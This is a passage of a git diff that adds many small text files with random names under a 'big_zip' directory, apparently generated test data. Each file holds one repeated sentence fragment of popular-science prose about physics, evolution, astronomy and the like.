+laws that apply to the Earth are also the underpinnings of quantitative physical laws that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjbcmioctq/file_jgjiivryvufqx.txt b/big_zip/big-zip-files/folder_rjbcmioctq/file_jgjiivryvufqx.txt
new file mode 100644
index 0000000..f8f5b53
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjbcmioctq/file_jgjiivryvufqx.txt
@@ -0,0 +1 @@
+laws that apply to the Earth are also the underpinnings of quantitative physical laws that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjbcmioctq/file_kvqxufyjmrfxnhtet.txt b/big_zip/big-zip-files/folder_rjbcmioctq/file_kvqxufyjmrfxnhtet.txt
new file mode 100644
index 0000000..f8f5b53
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjbcmioctq/file_kvqxufyjmrfxnhtet.txt
@@ -0,0 +1 @@
+laws that apply to the Earth are also the underpinnings of quantitative physical laws that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjbcmioctq/file_mesgfnhhcugoxa.txt b/big_zip/big-zip-files/folder_rjbcmioctq/file_mesgfnhhcugoxa.txt
new file mode 100644
index 0000000..f8f5b53
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjbcmioctq/file_mesgfnhhcugoxa.txt
@@ -0,0 +1 @@
+laws that apply to the Earth are also the underpinnings of quantitative physical laws that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjbcmioctq/file_nfftdzkushwtmddidszuihh.txt b/big_zip/big-zip-files/folder_rjbcmioctq/file_nfftdzkushwtmddidszuihh.txt
new file mode 100644
index 0000000..f8f5b53
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjbcmioctq/file_nfftdzkushwtmddidszuihh.txt
@@ -0,0 +1 @@
+laws that apply to the Earth are also the underpinnings of quantitative physical laws that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjbcmioctq/file_ntgcogfhb.txt b/big_zip/big-zip-files/folder_rjbcmioctq/file_ntgcogfhb.txt
new file mode 100644
index 0000000..f8f5b53
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjbcmioctq/file_ntgcogfhb.txt
@@ -0,0 +1 @@
+laws that apply to the Earth are also the underpinnings of quantitative physical laws that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjbcmioctq/file_okpvubvgdidkhf.txt b/big_zip/big-zip-files/folder_rjbcmioctq/file_okpvubvgdidkhf.txt
new file mode 100644
index 0000000..f8f5b53
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjbcmioctq/file_okpvubvgdidkhf.txt
@@ -0,0 +1 @@
+laws that apply to the Earth are also the underpinnings of quantitative physical laws that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjbcmioctq/file_pthcfaowre.txt b/big_zip/big-zip-files/folder_rjbcmioctq/file_pthcfaowre.txt
new file mode 100644
index 0000000..f8f5b53
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjbcmioctq/file_pthcfaowre.txt
@@ -0,0 +1 @@
+laws that apply to the Earth are also the underpinnings of quantitative physical laws that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjbcmioctq/file_rheebrzmrfkmarrhnfs.txt b/big_zip/big-zip-files/folder_rjbcmioctq/file_rheebrzmrfkmarrhnfs.txt
new file mode 100644
index 0000000..f8f5b53
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjbcmioctq/file_rheebrzmrfkmarrhnfs.txt
@@ -0,0 +1 @@
+laws that apply to the Earth are also the underpinnings of quantitative physical laws that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjbcmioctq/file_tjccmxsdfyplgpkzr.txt b/big_zip/big-zip-files/folder_rjbcmioctq/file_tjccmxsdfyplgpkzr.txt
new file mode 100644
index 0000000..f8f5b53
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjbcmioctq/file_tjccmxsdfyplgpkzr.txt
@@ -0,0 +1 @@
+laws that apply to the Earth are also the underpinnings of quantitative physical laws that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjbcmioctq/file_uwgsfdlqphhjwifjkltdxp.txt b/big_zip/big-zip-files/folder_rjbcmioctq/file_uwgsfdlqphhjwifjkltdxp.txt
new file mode 100644
index 0000000..f8f5b53
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjbcmioctq/file_uwgsfdlqphhjwifjkltdxp.txt
@@ -0,0 +1 @@
+laws that apply to the Earth are also the underpinnings of quantitative physical laws that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjbcmioctq/file_wljajtxluq.txt b/big_zip/big-zip-files/folder_rjbcmioctq/file_wljajtxluq.txt
new file mode 100644
index 0000000..f8f5b53
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjbcmioctq/file_wljajtxluq.txt
@@ -0,0 +1 @@
+laws that apply to the Earth are also the underpinnings of quantitative physical laws that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjbcmioctq/file_zwdjxafuwvifhxlqtlqqv.txt b/big_zip/big-zip-files/folder_rjbcmioctq/file_zwdjxafuwvifhxlqtlqqv.txt
new file mode 100644
index 0000000..f8f5b53
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjbcmioctq/file_zwdjxafuwvifhxlqtlqqv.txt
@@ -0,0 +1 @@
+laws that apply to the Earth are also the underpinnings of quantitative physical laws that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjbcmioctq/gylkgdfqkquvsikegnfwm.txt b/big_zip/big-zip-files/folder_rjbcmioctq/gylkgdfqkquvsikegnfwm.txt
new file mode 100644
index 0000000..f524e59
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjbcmioctq/gylkgdfqkquvsikegnfwm.txt
@@ -0,0 +1 @@
+exchange, in the paroxysm of thermonuclear war, the equivalent of a million Hiroshima
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjbcmioctq/hbzjrrnxjwslqrwdgxmrij.txt b/big_zip/big-zip-files/folder_rjbcmioctq/hbzjrrnxjwslqrwdgxmrij.txt
new file mode 100644
index 0000000..63179ab
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjbcmioctq/hbzjrrnxjwslqrwdgxmrij.txt
@@ -0,0 +1 @@
+rate, the number of clicks per minute, increases dramatically. If we drop the uranium ore
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjbcmioctq/jtsxzswzxpopiio.txt b/big_zip/big-zip-files/folder_rjbcmioctq/jtsxzswzxpopiio.txt
new file mode 100644
index 0000000..382c4cb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjbcmioctq/jtsxzswzxpopiio.txt
@@ -0,0 +1 @@
+frequency of twenty Hertz, became noticeable. Whales communicating across the oceans
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjbcmioctq/kxpojfkvqxrxace.txt b/big_zip/big-zip-files/folder_rjbcmioctq/kxpojfkvqxrxace.txt
new file mode 100644
index 0000000..b403b85
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjbcmioctq/kxpojfkvqxrxace.txt
@@ -0,0 +1 @@
+An automobile driver speeding by us blows his horn. Inside the car, the driver hears a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjbcmioctq/mcjdtaxkmoyjcvslq.txt b/big_zip/big-zip-files/folder_rjbcmioctq/mcjdtaxkmoyjcvslq.txt
new file mode 100644
index 0000000..71ae693
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjbcmioctq/mcjdtaxkmoyjcvslq.txt
@@ -0,0 +1 @@
+increase slightly as the car approached and decrease slightly as the car receded. At ordinary
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjbcmioctq/mrwuvcnhy.txt b/big_zip/big-zip-files/folder_rjbcmioctq/mrwuvcnhy.txt
new file mode 100644
index 0000000..546efd1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjbcmioctq/mrwuvcnhy.txt
@@ -0,0 +1 @@
+cosmic rays into space, and some of these, entering the Earth's envelope of air, would have
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjbcmioctq/pnpzwfheaqekzoklplkv.txt b/big_zip/big-zip-files/folder_rjbcmioctq/pnpzwfheaqekzoklplkv.txt
new file mode 100644
index 0000000..4752f7b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjbcmioctq/pnpzwfheaqekzoklplkv.txt
@@ -0,0 +1 @@
+mitochondrion employs a different code book from that used by the genes in the nucleus of the very same
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjbcmioctq/pqvmlytncmznvhxobfab.txt b/big_zip/big-zip-files/folder_rjbcmioctq/pqvmlytncmznvhxobfab.txt
new file mode 100644
index 0000000..7ab1961
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjbcmioctq/pqvmlytncmznvhxobfab.txt
@@ -0,0 +1 @@
+Sun. Had Jupiter been several dozen times more massive, the matter in its interior would
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjbcmioctq/puagbjqcgfngjwsnwnpj.txt b/big_zip/big-zip-files/folder_rjbcmioctq/puagbjqcgfngjwsnwnpj.txt
new file mode 100644
index 0000000..1b29400
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjbcmioctq/puagbjqcgfngjwsnwnpj.txt
@@ -0,0 +1 @@
+Mount Balder, a dry valley in the Asgard range. His practice was to implant the little
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjbcmioctq/uovqtyudzjjbdmia.txt b/big_zip/big-zip-files/folder_rjbcmioctq/uovqtyudzjjbdmia.txt
new file mode 100644
index 0000000..d1db6a3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjbcmioctq/uovqtyudzjjbdmia.txt
@@ -0,0 +1 @@
+bright plume standing off in the darkness from the satellite’s surface and soon determined
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjbcmioctq/wsyvqtwl.txt b/big_zip/big-zip-files/folder_rjbcmioctq/wsyvqtwl.txt
new file mode 100644
index 0000000..9bc70ed
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjbcmioctq/wsyvqtwl.txt
@@ -0,0 +1 @@
+The immediate causes of death from nuclear attack are the blast wave, which can
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjbcmioctq/ykgddlrbrbvlwaqc.txt b/big_zip/big-zip-files/folder_rjbcmioctq/ykgddlrbrbvlwaqc.txt
new file mode 100644
index 0000000..1acb1c6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjbcmioctq/ykgddlrbrbvlwaqc.txt
@@ -0,0 +1 @@
+explicitly that M31 in the constellation Andromeda was another Milky Way, composed of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjvnlxyofr/file_bzktgcsikbpjejvzafii.txt b/big_zip/big-zip-files/folder_rjvnlxyofr/file_bzktgcsikbpjejvzafii.txt
new file mode 100644
index 0000000..cd81f14
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjvnlxyofr/file_bzktgcsikbpjejvzafii.txt
@@ -0,0 +1 @@
+Mutations also occur because of radioactivity or ultraviolet light from the Sun or cosmic
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjvnlxyofr/file_dkoryinvvjxjhdjxzavevaaj.txt b/big_zip/big-zip-files/folder_rjvnlxyofr/file_dkoryinvvjxjhdjxzavevaaj.txt
new file mode 100644
index 0000000..cd81f14
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjvnlxyofr/file_dkoryinvvjxjhdjxzavevaaj.txt
@@ -0,0 +1 @@
+Mutations also occur because of radioactivity or ultraviolet light from the Sun or cosmic
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjvnlxyofr/file_eocxvyeyxxutftj.txt b/big_zip/big-zip-files/folder_rjvnlxyofr/file_eocxvyeyxxutftj.txt
new file mode 100644
index 0000000..cd81f14
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjvnlxyofr/file_eocxvyeyxxutftj.txt
@@ -0,0 +1 @@
+Mutations also occur because of radioactivity or ultraviolet light from the Sun or cosmic
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjvnlxyofr/file_gcwlyjutnyjbziwpsuhhdv.txt b/big_zip/big-zip-files/folder_rjvnlxyofr/file_gcwlyjutnyjbziwpsuhhdv.txt
new file mode 100644
index 0000000..cd81f14
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjvnlxyofr/file_gcwlyjutnyjbziwpsuhhdv.txt
@@ -0,0 +1 @@
+Mutations also occur because of radioactivity or ultraviolet light from the Sun or cosmic
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjvnlxyofr/file_hvndcdykdxkeouay.txt b/big_zip/big-zip-files/folder_rjvnlxyofr/file_hvndcdykdxkeouay.txt
new file mode 100644
index 0000000..cd81f14
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjvnlxyofr/file_hvndcdykdxkeouay.txt
@@ -0,0 +1 @@
+Mutations also occur because of radioactivity or ultraviolet light from the Sun or cosmic
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjvnlxyofr/file_jubfadxqzrlyvopodptq.txt b/big_zip/big-zip-files/folder_rjvnlxyofr/file_jubfadxqzrlyvopodptq.txt
new file mode 100644
index 0000000..cd81f14
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjvnlxyofr/file_jubfadxqzrlyvopodptq.txt
@@ -0,0 +1 @@
+Mutations also occur because of radioactivity or ultraviolet light from the Sun or cosmic
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjvnlxyofr/file_lecwikrbpb.txt b/big_zip/big-zip-files/folder_rjvnlxyofr/file_lecwikrbpb.txt
new file mode 100644
index 0000000..cd81f14
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjvnlxyofr/file_lecwikrbpb.txt
@@ -0,0 +1 @@
+Mutations also occur because of radioactivity or ultraviolet light from the Sun or cosmic
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjvnlxyofr/file_mcrrzmkem.txt b/big_zip/big-zip-files/folder_rjvnlxyofr/file_mcrrzmkem.txt
new file mode 100644
index 0000000..cd81f14
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjvnlxyofr/file_mcrrzmkem.txt
@@ -0,0 +1 @@
+Mutations also occur because of radioactivity or ultraviolet light from the Sun or cosmic
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjvnlxyofr/file_orpvuovb.txt b/big_zip/big-zip-files/folder_rjvnlxyofr/file_orpvuovb.txt
new file mode 100644
index 0000000..cd81f14
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjvnlxyofr/file_orpvuovb.txt
@@ -0,0 +1 @@
+Mutations also occur because of radioactivity or ultraviolet light from the Sun or cosmic
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjvnlxyofr/file_qfkznhpsbuuzmypotdz.txt b/big_zip/big-zip-files/folder_rjvnlxyofr/file_qfkznhpsbuuzmypotdz.txt
new file mode 100644
index 0000000..cd81f14
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjvnlxyofr/file_qfkznhpsbuuzmypotdz.txt
@@ -0,0 +1 @@
+Mutations also occur because of radioactivity or ultraviolet light from the Sun or cosmic
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjvnlxyofr/file_qsemdyeyyolbpr.txt b/big_zip/big-zip-files/folder_rjvnlxyofr/file_qsemdyeyyolbpr.txt
new file mode 100644
index 0000000..cd81f14
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjvnlxyofr/file_qsemdyeyyolbpr.txt
@@ -0,0 +1 @@
+Mutations also occur because of radioactivity or ultraviolet light from the Sun or cosmic
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjvnlxyofr/file_uqdzqyiry.txt b/big_zip/big-zip-files/folder_rjvnlxyofr/file_uqdzqyiry.txt
new file mode 100644
index 0000000..cd81f14
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjvnlxyofr/file_uqdzqyiry.txt
@@ -0,0 +1 @@
+Mutations also occur because of radioactivity or ultraviolet light from the Sun or cosmic
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjvnlxyofr/file_vfqpeoeyorqwsgsezjaewza.txt b/big_zip/big-zip-files/folder_rjvnlxyofr/file_vfqpeoeyorqwsgsezjaewza.txt
new file mode 100644
index 0000000..cd81f14
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjvnlxyofr/file_vfqpeoeyorqwsgsezjaewza.txt
@@ -0,0 +1 @@
+Mutations also occur because of radioactivity or ultraviolet light from the Sun or cosmic
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/file_cxwfnjzcuggchcgbdahp.txt b/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/file_cxwfnjzcuggchcgbdahp.txt
new file mode 100644
index 0000000..b1ab8f0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/file_cxwfnjzcuggchcgbdahp.txt
@@ -0,0 +1 @@
+hereditary diversity and a different environment to select particular combinations of genes,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/file_eovbopvbvhpgxvgxzmmlp.txt b/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/file_eovbopvbvhpgxvgxzmmlp.txt
new file mode 100644
index 0000000..b1ab8f0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/file_eovbopvbvhpgxvgxzmmlp.txt
@@ -0,0 +1 @@
+hereditary diversity and a different environment to select particular combinations of genes,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/file_frmdjzrgqrjeb.txt b/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/file_frmdjzrgqrjeb.txt
new file mode 100644
index 0000000..b1ab8f0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/file_frmdjzrgqrjeb.txt
@@ -0,0 +1 @@
+hereditary diversity and a different environment to select particular combinations of genes,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/file_ivpkqogshejsldq.txt b/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/file_ivpkqogshejsldq.txt
new file mode 100644
index 0000000..b1ab8f0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/file_ivpkqogshejsldq.txt
@@ -0,0 +1 @@
+hereditary diversity and a different environment to select particular combinations of genes,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/file_mglpxlolnrpwnw.txt b/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/file_mglpxlolnrpwnw.txt
new file mode 100644
index 0000000..b1ab8f0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/file_mglpxlolnrpwnw.txt
@@ -0,0 +1 @@
+hereditary diversity and a different environment to select particular combinations of genes,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/file_ozufjeookibzmzodngmv.txt b/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/file_ozufjeookibzmzodngmv.txt
new file mode 100644
index 0000000..b1ab8f0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/file_ozufjeookibzmzodngmv.txt
@@ -0,0 +1 @@
+hereditary diversity and a different environment to select particular combinations of genes,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/file_pjdrdxwnfjcfmoytwgbj.txt b/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/file_pjdrdxwnfjcfmoytwgbj.txt
new file mode 100644
index 0000000..b1ab8f0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/file_pjdrdxwnfjcfmoytwgbj.txt
@@ -0,0 +1 @@
+hereditary diversity and a different environment to select particular combinations of genes,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/file_pnkgmhvginrvjgtg.txt b/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/file_pnkgmhvginrvjgtg.txt
new file mode 100644
index 0000000..b1ab8f0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/file_pnkgmhvginrvjgtg.txt
@@ -0,0 +1 @@
+hereditary diversity and a different environment to select particular combinations of genes,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/file_scysfzvtzuzqwcxr.txt b/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/file_scysfzvtzuzqwcxr.txt
new file mode 100644
index 0000000..b1ab8f0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/file_scysfzvtzuzqwcxr.txt
@@ -0,0 +1 @@
+hereditary diversity and a different environment to select particular combinations of genes,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/file_seyczzdmxkfvzyzomwgvbm.txt b/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/file_seyczzdmxkfvzyzomwgvbm.txt
new file mode 100644
index 0000000..b1ab8f0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/file_seyczzdmxkfvzyzomwgvbm.txt
@@ -0,0 +1 @@
+hereditary diversity and a different environment to select particular combinations of genes,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/file_sjjtkkuikyvsrfwdci.txt b/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/file_sjjtkkuikyvsrfwdci.txt
new file mode 100644
index 0000000..b1ab8f0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/file_sjjtkkuikyvsrfwdci.txt
@@ -0,0 +1 @@
+hereditary diversity and a different environment to select particular combinations of genes,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/file_trdiodbvysxchhdut.txt b/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/file_trdiodbvysxchhdut.txt
new file mode 100644
index 0000000..b1ab8f0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/file_trdiodbvysxchhdut.txt
@@ -0,0 +1 @@
+hereditary diversity and a different environment to select particular combinations of genes,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/file_vksijnbm.txt b/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/file_vksijnbm.txt
new file mode 100644
index 0000000..b1ab8f0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/file_vksijnbm.txt
@@ -0,0 +1 @@
+hereditary diversity and a different environment to select particular combinations of genes,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/file_vvyvjrpbwfrjwoczysqdhgx.txt b/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/file_vvyvjrpbwfrjwoczysqdhgx.txt
new file mode 100644
index 0000000..b1ab8f0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/file_vvyvjrpbwfrjwoczysqdhgx.txt
@@ -0,0 +1 @@
+hereditary diversity and a different environment to select particular combinations of genes,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/file_wrrycjmooyvwqclx.txt b/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/file_wrrycjmooyvwqclx.txt
new file mode 100644
index 0000000..b1ab8f0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/file_wrrycjmooyvwqclx.txt
@@ -0,0 +1 @@
+hereditary diversity and a different environment to select particular combinations of genes,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/file_wwgujclghdngzpvoklv.txt b/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/file_wwgujclghdngzpvoklv.txt
new file mode 100644
index 0000000..b1ab8f0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/file_wwgujclghdngzpvoklv.txt
@@ -0,0 +1 @@
+hereditary diversity and a different environment to select particular combinations of genes,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/file_ysljioosvgrmu.txt b/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/file_ysljioosvgrmu.txt
new file mode 100644
index 0000000..b1ab8f0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/file_ysljioosvgrmu.txt
@@ -0,0 +1 @@
+hereditary diversity and a different environment to select particular combinations of genes,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/file_zqrijiyokdfvfhlqtqqor.txt b/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/file_zqrijiyokdfvfhlqtqqor.txt
new file mode 100644
index 0000000..b1ab8f0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/file_zqrijiyokdfvfhlqtqqor.txt
@@ -0,0 +1 @@
+hereditary diversity and a different environment to select particular combinations of genes,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/folder_ncrzwkoahi/ekofshfxvzevio.txt b/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/folder_ncrzwkoahi/ekofshfxvzevio.txt
new file mode 100644
index 0000000..f9c38f3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/folder_ncrzwkoahi/ekofshfxvzevio.txt
@@ -0,0 +1 @@
+universe as a black hole. If you wish to know what it is like inside a black hole, look around
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/folder_ncrzwkoahi/file_advvwzyvucmlm.txt b/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/folder_ncrzwkoahi/file_advvwzyvucmlm.txt
new file mode 100644
index 0000000..57c82eb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/folder_ncrzwkoahi/file_advvwzyvucmlm.txt
@@ -0,0 +1 @@
+animals, a little like large insects; some hunted in packs on the ocean floor. They stored
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/folder_ncrzwkoahi/file_bxbbbghcwym.txt b/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/folder_ncrzwkoahi/file_bxbbbghcwym.txt
new file mode 100644
index 0000000..57c82eb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/folder_ncrzwkoahi/file_bxbbbghcwym.txt
@@ -0,0 +1 @@
+animals, a little like large insects; some hunted in packs on the ocean floor. They stored
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/folder_ncrzwkoahi/file_eyxnevnnoalikmpyhwhlt.txt b/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/folder_ncrzwkoahi/file_eyxnevnnoalikmpyhwhlt.txt
new file mode 100644
index 0000000..57c82eb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/folder_ncrzwkoahi/file_eyxnevnnoalikmpyhwhlt.txt
@@ -0,0 +1 @@
+animals, a little like large insects; some hunted in packs on the ocean floor. They stored
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/folder_ncrzwkoahi/file_fkmaasszqgjypifcpscqtrur.txt b/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/folder_ncrzwkoahi/file_fkmaasszqgjypifcpscqtrur.txt
new file mode 100644
index 0000000..57c82eb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/folder_ncrzwkoahi/file_fkmaasszqgjypifcpscqtrur.txt
@@ -0,0 +1 @@
+animals, a little like large insects; some hunted in packs on the ocean floor. They stored
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/folder_ncrzwkoahi/file_flonlqcmjcvpylmwyj.txt b/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/folder_ncrzwkoahi/file_flonlqcmjcvpylmwyj.txt
new file mode 100644
index 0000000..57c82eb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/folder_ncrzwkoahi/file_flonlqcmjcvpylmwyj.txt
@@ -0,0 +1 @@
+animals, a little like large insects; some hunted in packs on the ocean floor. They stored
\ No newline at end of file
